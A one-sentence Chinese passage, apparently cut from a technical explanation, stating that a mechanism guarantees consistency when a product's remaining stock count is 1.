所以这就能够保证了商品剩余数量为1的一致性.